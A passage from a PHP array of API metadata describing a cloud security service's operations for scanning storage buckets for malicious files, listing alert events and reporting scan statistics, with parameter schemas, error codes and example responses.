'ScanMode', 'in' => 'query', 'schema' => [ 'description' => 'The check mode. Valid values:'."\n" ."\n" .'* **1**: checks all objects in the bucket.'."\n" .'* **2**: checks only new objects in the bucket.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'KeySuffixList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The suffixes of the objects that you want to check.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The suffix of the object that you want to check.'."\n", 'type' => 'string', 'required' => false, 'example' => '.jsp', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'KeyPrefixList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The prefixes of the objects.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The prefix of the object.'."\n", 'type' => 'string', 'required' => false, 'example' => '/root', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'AllKeyPrefix', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to match the prefixes of all objects.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'DecompressMaxLayer', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of decompression levels when multi-level packages are decompressed. Valid values: 1 to 5. If the maximum number of decompression levels is reached, the decompression operation immediately ends and the detection of extracted objects is not affected.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'DecompressMaxFileCount', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of objects that can be extracted during decompression. Valid values: 1 to 1000. If the maximum number of objects that can be extracted is reached, the decompression operation immediately ends and the detection of extracted objects is not affected.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '100', ], ], [ 'name' => 'DecryptionList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The decryption methods.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The decryption method. Valid values:'."\n" ."\n" .'* **OSS**: OSS-managed.'."\n" .'* **KMS**: Key Management Service (KMS).'."\n", 'type' => 'string', 'required' => false, 'example' => 'KMS', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'LastModifiedStartTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the object was last modified. The time must be later than the timestamp that you specify. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1724301769834', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'BBD75EC2-2F4F-5A7B-AA53-18724DC8****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ApiAuthExhausted', 'errorMessage' => 'No auth count or auth count has been exhausted.', ], [ 'errorCode' => 'TaskIsProcessing', 'errorMessage' => 'Task Is Processing.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BBD75EC2-2F4F-5A7B-AA53-18724DC8****\\"\\n}","type":"json"}]', 'title' => 'CreateOssBucketScanTask', ], 'GetObjectScanEvent' => [ 'summary' => 'Queries the details of an alert event that is generated for a malicious object.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'EventId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert event.'."\n", 'type' => 'string', 'required' => false, 'example' => '81****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content in the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', ], 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'FileName' => [ 'description' => 'The name of the object.'."\n", 'type' => 'string', 'example' => 'sca_2023****', ], 'Md5' => [ 'description' => 'The MD5 hash value of the object.'."\n", 'type' => 'string', 'example' => '0552c44e243abdea1729d4507bce****', ], 'EventName' => [ 'description' => 'The name of the alert item.'."\n", 'type' => 'string', 'example' => 'WebShell', ], 'Details' => [ 'description' => 'The details of the alert event.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'InfoType' => [ 'description' => 'The type of the item.'."\n", 'type' => 'string', 'example' => 'html', ], 'Name' => [ 'description' => 'The name of the item.'."\n", 'type' => 'string', 'example' => 'DownloadUrl', ], 'NameDisplay' => [ 'description' => 'The display name of the item.'."\n", 'type' => 'string', 'example' => 'DownloadUrl', ], 'Type' => [ 'description' => 'The type of the item.'."\n", 'type' => 'string', 'example' => 'html', ], 'Value' => [ 'description' => 'The value of the item.'."\n", 'type' => 'string', 'example' => 'http://****', ], 'ValueDisplay' => [ 'description' => 'The display value of the item.'."\n", 'type' => 'string', 'example' => 'http://****', ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\",\\n \\"Data\\": {\\n \\"FileName\\": \\"sca_2023****\\",\\n \\"Md5\\": \\"0552c44e243abdea1729d4507bce****\\",\\n \\"EventName\\": \\"WebShell\\",\\n \\"Details\\": [\\n {\\n \\"InfoType\\": \\"html\\",\\n \\"Name\\": \\"DownloadUrl。\\",\\n \\"NameDisplay\\": \\"DownloadUrl。\\",\\n \\"Type\\": \\"html\\",\\n \\"Value\\": \\"http://****\\",\\n \\"ValueDisplay\\": \\"http://****\\"\\n }\\n ]\\n }\\n}","type":"json"}]', 'title' => 'GetObjectScanEvent', ], 'ListObjectScanEvent' => [ 'summary' => 'Queries alerts that are generated for malicious files.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '172800', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], [ 'name' => 'RiskLevel', 'in' => 'query', 'schema' => [ 'description' => 'The risk level of the alert. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'low', ], ], [ 'name' => 'EventName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the alert.'."\n", 'type' => 'string', 'required' => false, 'example' => 'WebShell', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The method that is used to detect the malicious file. Valid values:'."\n" ."\n" .'* **API**: uses API operations.'."\n" .'* **OSS**: uses Object Storage Service (OSS) file check.'."\n", 'type' => 'string', 'required' => false, 'example' => 'OSS', ], ], [ 'name' => 'OssKey', 'in' => 'query', 'schema' => [ 'description' => 'The key of the file that is stored in an OSS bucket.'."\n", 'type' => 'string', 'required' => false, 'example' => '1/2022/06/23/15/41/16559701077444693a0c6-33b2-4cc2-a99f-9f38b8b8****', ], ], [ 'name' => 'BucketName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the OSS bucket.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ltrbuck****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Md5', 'in' => 'query', 'schema' => [ 'description' => 'The MD5 hash value of the file.'."\n", 'type' => 'string', 'required' => false, 'example' => '0552c44e243abdea1729d4507bce****', ], ], [ 'name' => 'TimeStart', 'in' => 'query', 'schema' => [ 'description' => 'The beginning of the time range during which the exception is detected.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1683603086000', ], ], [ 'name' => 'TimeEnd', 'in' => 'query', 'schema' => [ 'description' => 'The end of the time range during which the exception is detected.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1683862286000', ], ], [ 'name' => 'ParentEventId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert that is generated for the package to which the subfile belongs.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Status', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'Event status. The values are as follows:'."\n" .'- **0**: Unprocessed '."\n" .'- **1**: I have processed manually '."\n" .'- **2**: Whitelisted '."\n" .'- **3**: Ignored '."\n" .'- **4**: Access denied', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'EventId', 'in' => 'query', 'schema' => [ 'description' => 'Event ID.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '8925****', ], ], [ 'name' => 'BatchType', 'in' => 'query', 'schema' => [ 'description' => 'Batch operation type. Valid values:'."\n" .'- **sha256**: Same file content'."\n" .'- **eventName**: Same alert type', 'type' => 'string', 'required' => false, 'example' => 'sha256', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '253', ], ], ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The detailed data.'."\n", 'type' => 'object', 'properties' => [ 'OssKey' => [ 'description' => 'The key of the file that is stored in the OSS bucket.'."\n", 'type' => 'string', 'example' => '1/2023/07/21/10/18/16899059356518bcf6c64-a04e-492d-a421-4ae8b888****', ], 'Md5' => [ 'description' => 'The MD5 hash value of the file.'."\n", 'type' => 'string', 'example' => '5b394b54ca632fe51c4ab4a6dbaf****', ], 'BucketName' => [ 'description' => 'The name of the OSS bucket.'."\n", 'type' => 'string', 'example' => 'hz-new01****', ], 'RiskLevel' => [ 'description' => 'The risk level of the alert. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'medium', ], 'Source' => [ 'description' => 'The method that is used to detect the malicious file. Valid values:'."\n" ."\n" .'* **API**: uses API operations.'."\n" .'* **OSS**: uses OSS file check.'."\n", 'type' => 'string', 'example' => 'OSS', ], 'FilePath' => [ 'description' => 'The path to the file.'."\n", 'type' => 'string', 'example' => '/usr/local****', ], 'EventName' => [ 'description' => 'The name of the alert.'."\n", 'type' => 'string', 'example' => 'WebShell', ], 'EventId' => [ 'description' => 'The ID of the alert.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '911273', ], 'FirstTime' => [ 'description' => 'The timestamp at which the alert was first detected.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1694576692000', ], 'LastTime' => [ 'description' => 'The timestamp at which the alert was last detected.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1694576692000', ], 'Sha256' => [ 'description' => 'The SHA-256 hash value of the file.'."\n", 'type' => 'string', 'example' => '3a6fed5fc11392b3ee9f81caf017b48640d7458766a8eb0382899a605b41****', ], 'Sha1' => [ 'description' => 'The SHA-1 hash value of the file.'."\n", 'type' => 'string', 'example' => '3c01bdbb26f358bab27f267924aa2c9a03fc****', ], 'DisplaySandboxResult' => [ 'description' => 'Indicates whether the file can be detected by cloud sandbox. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'string', 'example' => 'true', ], 'Details' => [ 'description' => 'The details of the file.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the parameter in the file details.'."\n", 'type' => 'string', 'example' => 'DownloadUrl', ], 'NameDisplay' => [ 'description' => 'The display name of the alert.'."\n", 'type' => 'string', 'example' => 'DownloadUrl', ], 'Type' => [ 'description' => 'The value type of the parameter in the file details.'."\n", 'type' => 'string', 'example' => 'html', ], 'Value' => [ 'description' => 'The value of the parameter.'."\n", 'type' => 'string', 'example' => 'http://gcx.cn-hangzhou.aliyuncs.com/****', ], 'ValueDisplay' => [ 'description' => 'The value of the parameter.'."\n", 'type' => 'string', 'example' => 'http://gcx.cn-hangzhou.aliyuncs.com/****', ], ], ], ], 'HasSubEvent' => [ 'description' => 'Indicates whether an alert is generated for the file extracted from the package. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Status' => [ 'description' => 'Event status. Valid values::'."\n" .'- **0**: Unprocessed '."\n" .'- **1**: Processed manually '."\n" .'- **2**: Whitelisted '."\n" .'- **3**: Ignored '."\n" .'- **4**: Access denied', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ErrorMsg' => [ 'description' => 'Error message.', 'type' => 'string', 'example' => 'connect timed out', ], 'OperateResult' => [ 'description' => 'Alarm handling result', 'type' => 'string', 'example' => 'fail', ], 'MatchedWhiteListRuleI18nStr' => [ 'description' => 'Information on whitelisting rule hits.', 'type' => 'string', 'example' => '  md5   contains   23  ', ], 'Remark' => [ 'description' => 'Remark.', 'type' => 'string', 'example' => 'test', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 253\\n },\\n \\"Data\\": [\\n {\\n \\"OssKey\\": \\"1/2023/07/21/10/18/16899059356518bcf6c64-a04e-492d-a421-4ae8b888****\\",\\n \\"Md5\\": \\"5b394b54ca632fe51c4ab4a6dbaf****\\",\\n \\"BucketName\\": \\"hz-new01****\\",\\n \\"RiskLevel\\": \\"medium\\",\\n \\"Source\\": \\"OSS\\",\\n \\"FilePath\\": \\"/usr/local****\\",\\n \\"EventName\\": \\"WebShell\\",\\n \\"EventId\\": 911273,\\n \\"FirstTime\\": 1694576692000,\\n \\"LastTime\\": 1694576692000,\\n \\"Sha256\\": \\"3a6fed5fc11392b3ee9f81caf017b48640d7458766a8eb0382899a605b41****\\",\\n \\"Sha1\\": \\"3c01bdbb26f358bab27f267924aa2c9a03fc****\\",\\n \\"DisplaySandboxResult\\": \\"true\\",\\n \\"Details\\": [\\n {\\n \\"Name\\": \\"DownloadUrl\\",\\n \\"NameDisplay\\": \\"DownloadUrl\\",\\n \\"Type\\": \\"html\\",\\n \\"Value\\": \\"http://gcx.cn-hangzhou.aliyuncs.com/****\\",\\n \\"ValueDisplay\\": \\"http://gcx.cn-hangzhou.aliyuncs.com/****\\"\\n }\\n ],\\n \\"HasSubEvent\\": true,\\n \\"Status\\": 0,\\n \\"ErrorMsg\\": \\"connect timed out\\",\\n \\"OperateResult\\": \\"fail\\",\\n \\"MatchedWhiteListRuleI18nStr\\": \\"  md5   contains   23  \\",\\n \\"Remark\\": \\"test\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListObjectScanEvent', 'translator' => 'machine', ], 'OperateBucketScanTask' => [ 'summary' => 'Manages an Object Storage Service (OSS) bucket check task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'BucketName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the bucket.'."\n", 'type' => 'string', 'required' => false, 'example' => 'iboxpublic****', ], ], [ 'name' => 'OperateCode', 'in' => 'query', 'schema' => [ 'description' => 'The operation that you want to perform on the bucket. Valid value:'."\n" ."\n" .'* **1**: cancels the bucket check.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '0C8487EF-50C2-54BB-8634-10F8C35D****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0C8487EF-50C2-54BB-8634-10F8C35D****\\"\\n}","type":"json"}]', 'title' => 'OperateBucketScanTask', ], 'GetOssBucketScanStatistic' => [ 'summary' => 'Queries the statistics about an Object Storage Service (OSS) bucket check.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '172778', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], ], 'parameters' => [ [ 'name' => 'BucketNameList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The names of the buckets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The name of the bucket.'."\n", 'type' => 'string', 'required' => false, 'example' => 'hz-new02****', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The data source. Valid values:'."\n" ."\n" .'* **API**: API operations.'."\n" .'* **OSS**: Object Storage Service (OSS) file check.'."\n", 'type' => 'string', 'required' => false, 'example' => 'API', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'FAC50208-E56B-5CC8-8738-2B219D1A****', ], 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RiskBucket' => [ 'description' => 'The number of buckets in which at-risk objects exist.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'HighRisk' => [ 'description' => 'The number of high-risk objects.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'MediumRisk' => [ 'description' => 'The number of medium-risk objects.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'LowRisk' => [ 'description' => 'The number of low-risk objects.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'NoScanBucket' => [ 'description' => 'The number of buckets that are not checked.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalBucket' => [ 'description' => 'The total number of buckets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ScanObject' => [ 'description' => 'The number of objects that are checked.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'RemainAuth' => [ 'description' => 'The remaining quota.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ExpireTime' => [ 'description' => 'The expiration time of the purchased quota.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1714442403000', ], 'TotalObject' => [ 'description' => 'The total number of objects in the bucket.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'PrePayAuthCount' => [ 'description' => 'Prepaid authorized count.', 'type' => 'integer', 'format' => 'int64', 'example' => '10000', ], 'PrePayInvokeCount' => [ 'description' => 'Prepaid usage count.', 'type' => 'integer', 'format' => 'int64', 'example' => '100', ], 'PostPayInvokeCount' => [ 'description' => 'Postpaid usage count.', 'type' => 'integer', 'format' => 'int64', 'example' => '1000', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FAC50208-E56B-5CC8-8738-2B219D1A****\\",\\n \\"Data\\": {\\n \\"RiskBucket\\": 1,\\n \\"HighRisk\\": 0,\\n \\"MediumRisk\\": 0,\\n \\"LowRisk\\": 0,\\n \\"NoScanBucket\\": 1,\\n \\"TotalBucket\\": 1,\\n \\"ScanObject\\": 1,\\n \\"RemainAuth\\": 1,\\n \\"ExpireTime\\": 1714442403000,\\n \\"TotalObject\\": 1,\\n \\"PrePayAuthCount\\": 10000,\\n \\"PrePayInvokeCount\\": 100,\\n \\"PostPayInvokeCount\\": 1000\\n }\\n}","type":"json"}]', 'title' => 'GetOssBucketScanStatistic', 'translator' => 'machine', ], 'ListOssBucketScanInfo' => [ 'summary' => 'Queries the risk information of an Object Storage Service (OSS) bucket.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], [ 'name' => 'BucketName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the bucket.'."\n", 'type' => 'string', 'required' => false, 'example' => 'iboxpublic****', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The check status of the bucket. Valid values:'."\n" ."\n" .'* **1**: The bucket is not checked.'."\n" .'* **2**: All objects in the bucket are being checked.'."\n" .'* **3**: Only new objects in the bucket are being checked.'."\n" .'* **4**: The bucket is checked.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'HasRisk', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether at-risk objects are detected. Valid values:'."\n" ."\n" .'* **0**: No at-risk objects are detected.'."\n" .'* **1**: At-risk objects are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'FuzzBucketName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the bucket that is used for fuzzy match.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content in the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '6C578F36-92D2-552C-8AA0-86EB1AC2****', ], 'PageInfo' => [ 'description' => 'The page information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '165', ], ], ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'BucketName' => [ 'description' => 'The name of the bucket.'."\n", 'type' => 'string', 'example' => 'hz-new02****', ], 'RegionId' => [ 'description' => 'The region ID.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'LastScanTime' => [ 'description' => 'The time when the bucket was last checked. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1698388233883', ], 'LastScanEndTime' => [ 'description' => 'The time when the most recent check ended. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1698388233883', ], 'Scanned' => [ 'description' => 'Indicates whether the bucket is checked. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'false', ], 'ScanObject' => [ 'description' => 'The number of objects that are checked.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '100', ], 'TotalObject' => [ 'description' => 'The total number of objects in the bucket.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '100', ], 'HighRisk' => [ 'description' => 'The number of high-risk objects.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'MediumRisk' => [ 'description' => 'The number of medium-risk objects.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'LowRisk' => [ 'description' => 'The number of low-risk objects.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'Status' => [ 'description' => 'The check status of the bucket. Valid values:'."\n" ."\n" .'* **1**: The bucket is not checked.'."\n" .'* **2**: All objects in the bucket are being checked.'."\n" .'* **3**: Only new objects are being checked.'."\n" .'* **4**: The bucket is checked.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Support' => [ 'description' => 'Indicates whether the bucket can be checked. Valid values:'."\n" ."\n" .'* true'."\n" .'* false'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Message' => [ 'description' => 'The reason why the bucket cannot be checked.'."\n", 'type' => 'string', 'example' => 'Unsupported Region.', ], 'StorageClass' => [ 'description' => 'The storage class of the bucket. Valid values:'."\n" ."\n" .'* **Standard**'."\n" .'* **IA**'."\n" .'* **Archive**'."\n" .'* **ColdArchive**'."\n", 'type' => 'string', 'example' => 'Archive', ], 'ConfigStatus' => [ 'description' => 'Configuration status, valid values:'."\n" ."\n" .'- **0**: No Configuration.'."\n" .'- **1**: Not Open.'."\n" .'- **2**: Open.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'DecompressStatus' => [ 'description' => 'Bucket decompression configuration status, valid values:'."\n" .'- **0**: Decompression not configured.'."\n" .'- **1**: Decompression configured.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6C578F36-92D2-552C-8AA0-86EB1AC2****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 165\\n },\\n \\"Data\\": [\\n {\\n \\"BucketName\\": \\"hz-new02****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"LastScanTime\\": 1698388233883,\\n \\"LastScanEndTime\\": 1698388233883,\\n \\"Scanned\\": false,\\n \\"ScanObject\\": 100,\\n \\"TotalObject\\": 100,\\n \\"HighRisk\\": 0,\\n \\"MediumRisk\\": 0,\\n \\"LowRisk\\": 0,\\n \\"Status\\": 1,\\n \\"Support\\": true,\\n \\"Message\\": \\"Unsupported Region。\\",\\n \\"StorageClass\\": \\"Archive\\",\\n \\"ConfigStatus\\": 0,\\n \\"DecompressStatus\\": 0\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListOssBucketScanInfo', ], 'UpdateOssScanConfig' => [ 'summary' => 'Modifies a policy of detecting Object Storage Service (OSS) objects by using the SDK for malicious file detection feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '172828', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Enable', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable the bucket check policy. Valid values:'."\n" ."\n" .'* **1**: enables the bucket check policy.'."\n" .'* **0**: disables the bucket check policy.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'ScanDayList', 'in' => 'query', 'style' => 'repeatList', 